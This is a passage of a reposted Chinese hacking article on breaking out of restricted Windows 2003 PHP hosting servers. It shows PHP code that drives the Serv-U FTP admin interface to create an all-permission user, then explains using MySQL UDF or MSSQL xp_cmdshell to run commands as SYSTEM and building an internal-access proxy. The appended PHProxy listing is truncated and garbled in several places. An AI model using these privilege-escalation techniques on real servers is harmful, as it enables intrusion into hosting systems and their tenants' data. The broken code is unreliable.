手机站
网通分站
电信主站
密 码:
用户名:
当前位置 : 主页>网络编程>Php编程>列表

突破Windows 2003 PHP服务器的新思路

来源:互联网 作者:west263.com 时间:2008-02-23
西部数码-全国虚拟主机10强!40余项虚拟主机管理功能,全国领先!双线多线虚拟主机南北访问畅通无阻!免费赠送企业邮局,.CN域名,自助建站480元起,免费试用7天,满意再付款! P4主机租用799元/月.月付免压金!

  fputs ($fp, "-MaxUsersLoginPerIP=-1\r\n");

  fputs ($fp, "-SpeedLimitUp=-1\r\n");

  fputs ($fp, "-SpeedLimitDown=-1\r\n");

  fputs ($fp, "-MaxNrUsers=-1\r\n");

  fputs ($fp, "-IdleTimeOut=600\r\n");

  fputs ($fp, "-SessionTimeOut=-1\r\n");

  fputs ($fp, "-Expire=0\r\n");

  fputs ($fp, "-RatioUp=1\r\n");

  fputs ($fp, "-RatioDown=1\r\n");

  fputs ($fp, "-RatiosCredit=0\r\n");

  fputs ($fp, "-QuotaCurrent=0\r\n");

  fputs ($fp, "-QuotaMaximum=0\r\n");

  fputs ($fp, "-Maintenance=System\r\n");

  fputs ($fp, "-PasswordType=Regular\r\n");

  fputs ($fp, "-Ratios=None\r\n");

  fputs ($fp, " Access=".$homedir."|RWAMELCDP\r\n");

  fputs ($fp, "QUIT\r\n");

  sleep (1);

  while (!feof($fp)) {

  echo fgets ($fp,128);

  }

  }

  ?>

  还可以利用fsockopen编写HTTP代理,从而访问外网或本机中无法外部访问的网站。我手上有一个完整的HTTPProxy(图4),代码较长。有兴趣的读者可以看看。

  6、MYSQL/MSSQL接口

  不同于linux的是,windows下的mysql/MSSQL一般是以系统管理员身份运行的,因此,只要能拿到本机SQL数据库中的root/sa密码,你就可以直接用PHP连接数据库来执行系统命令。

  在Mysql中执行系统命令要利用用户自定义函数“MySQL UDF Dynamic Library”这个漏洞。在MSSQL中只要连接上数据库,就能直接调用“master..xp_cmdshell“扩展执行命令,权限当然是system权限。

  总结一下:由于系统、IIS、PHP的版本不一样,以上提到的几个突破方法可能会有所变化,PHP还有许多扩展功能是可以利用的,走出system()那几个系统命令执行函数,你就有可能突破系统安全策略的限制!

  后面附上proxy.php的代码

  error_reporting(E_ALL);

  /*

  // This program is free software; you can redistribute it and/or

  // modify it under the terms of the GNU General Public License

  // as published by the Free Software Foundation; either version 2

  // of the License, or (at your option) any later version.

  //

  // This program is distributed in the hope that it will be useful,

  // but WITHOUT ANY WARRANTY; without even the implied warranty of

  // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the

  // GNU General Public License for more details.

  //

  // You should have received a copy of the GNU General Public License

  // along with this program; if not, write to the Free Software

  // Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.

  //-------------------------------------------------------------------

  // Class: PHProxy

  // Author: ultimategamer00 (Abdullah A.)

  // Last Modified: 6:28 PM 6/22/2004

  */

  function __stripslashes($str)

  {

  return get_magic_quotes_gpc() ? stripslashes($str) : $str;

  }

  if (!function_exists('str_rot13'))

  {

  function str_rot13($str)

  {

  static $alpha = array('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',

  'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM');

  return strtr($str, $alpha[0], $alpha[1]);

  }

  }

  class PHProxy

  {

  var $allowed_hosts = array();

  var $version;

  var $script_url;

  var $url;

  var $url_segments;

  var $flags = array('include_form' => 1, 'remove_scripts' => 1, 'accept_cookies' => 1, 'show_images' => 1, 'show_referer' => 1);

  var $socket;

  var $content_type;

  var $request_headers;

  var $post_body;

  var $response_headers;

  var $response_body;

  function PHProxy($flags = 'previous')

  {

  $this->version = '0.2';

  $this->script_url = 'http'

  . (isset(

  function set_request_headers()

  {

  $headers = " " . (isset($this->url_segments['query']) ? "?" : '') . " HTTP/1.0\r\n";

  $headers .= "Host: :\r\n";

  $headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";

  $headers .= "Accept: text/xml,application/xml,application/xhtml xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1\r\n";

  $headers .= "Connection: close\r\n";

  if ($this->flags['show_referer'] == 1)

  {

  $headers .= "Referer: \r\n";

  }

  $cookies = $this->get_cookies();

  $headers .= $cookies != '' ? "Cookie: $cookies\r\n" : '';

  if (

  function set_request_headers()

  {

  $headers = " " . (isset($this->url_segments['query']) ? "?" : '') . " HTTP/1.0\r\n";

文章整理:西部数码--专业提供域名注册虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!